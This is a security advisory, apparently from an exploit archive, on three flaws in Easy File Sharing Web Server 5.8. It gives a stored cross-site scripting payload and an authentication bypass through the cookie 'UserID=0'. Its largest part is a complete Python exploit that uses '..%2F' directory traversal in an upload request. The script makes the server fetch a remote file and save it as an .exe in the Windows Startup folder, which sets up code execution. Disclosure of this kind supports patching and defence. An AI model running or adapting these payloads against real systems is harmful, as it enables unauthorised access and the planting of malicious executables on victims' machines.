easy file sharing Web server 5.8 - Multiple Vulnerabilities



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Software................Easy File Sharing Web Server Version 5.8
Vulnerability...........Persistent Cross-site Scripting
Threat Level............Moderate (2/5)
Download................http://www.sharing-file.com/
Disclosure Date.........4/6/2011
Tested On...............Windows Vista
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Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
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--Description--

A persistent cross-site scripting vulnerability in Easy File Sharing
Web Server Version 5.8 can be exploited to execute arbitrary JavaScript.


--Exploit--

Enter markup into the title or message fields of a forum message.


--PoC--

<script>alert(0)</script>


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Software................Easy File Sharing Web Server Version 5.8
Vulnerability...........Authentication Bypass
Threat Level............Serious (3/5)
Download................http://www.sharing-file.com/
Disclosure Date.........4/6/2011
Tested On...............Windows Vista
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Author..................AutoSec Tools
Site....................http://www.autosectools.com/
Email...................John Leitch <john@autosectools.com>
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--Description--

If the UserID cookie is set all virtual folders become accessible.


--PoC--

GET http://localhost/[Virtual Folder] HTTP/1.1
Host: localhost
Cookie: UserID=0


# ------------------------------------------------------------------------
# Software................Easy File Sharing Web Server Version 5.8
# Vulnerability...........Directory Traversal / Arbitrary File Creation
# Threat Level............Very Critical (5/5)
# Download................http://www.sharing-file.com/
# Disclosure Date.........4/6/2011
# Tested On...............Windows Vista
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <john@autosectools.com>
# ------------------------------------------------------------------------


# --Description--

# A directory traversal vulnerability in Easy File Sharing Web Server
# Version 5.8 can be exploited to navigate the local file system and
# create arbitrary files. A user account is necessary to exploit. If
# registration is not open, it may be possible to retrieve the
# credential containing user.sdb file using directory traversal combined
# with authentication bypass.


# --Exploit--

# http://[server]/[Virtual Folder]/..%2F..%2F/[Folder]

# Note: the actual number of traversal sequences required depends on the
# depth of the folder.


# --PoC--

# Browse:
# http://localhost/temp/..%2FUsers

import socket, urllib

# Update these
username = 'a'
password = 'a'

# The attacker controlled file
remote_file1 = 'http://www.google.com/images/logos/ps_logo2.png'

# The name of the file on the target server 
remote_file2 = 'exploit_test.exe'

# The destination of the remote file
target_folder = 'Users/Test User/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup/'

# This must be an existing virtual folder
path = '/temp'

host = 'localhost'
port = 80

def upload_shell():
    for i in reversed(range(0, 16)):
        print 'trying...'
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((host, port))
        s.settimeout(8)    

        s.send('POST ' + path + '/' + '..%2F' * i + urllib.quote(target_folder) + ' HTTP/1.1\r\n'
               'Host: localhost\r\n'
               'Connection: keep-alive\r\n'
               'Referer: http://localhost/uploadurl.ghp?vfolder=/temp/test\r\n'
               'Content-Length: 181\r\n'
               'Cache-Control: max-age=0\r\n'
               'Origin: http://localhost\r\n'
               'User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16\r\n'
               'Content-Type: application/x-www-form-urlencoded\r\n'
               'Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n'
               'Accept-Encoding: gzip,deflate,sdch\r\n'
               'Accept-Language: en-US,en;q=0.8\r\n'
               'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
               '\r\n'
               'uploadid=21305471&vfoldername=%2ftemp&upload_author=' + username + '&upload_passwd=' + password + '&file_des=&file_url=' + urllib.quote(remote_file1) + '&saveas=' + urllib.quote(remote_file2) + '&uploadurl=Upload')

        resp = s.recv(8192)

        http_ok = 'HTTP/1.0 200 OK'
        
        if http_ok not in resp[:len(http_ok)]:
            print 'error uploading shell'
        else:
            print 'shell uploaded'
            return

upload_shell()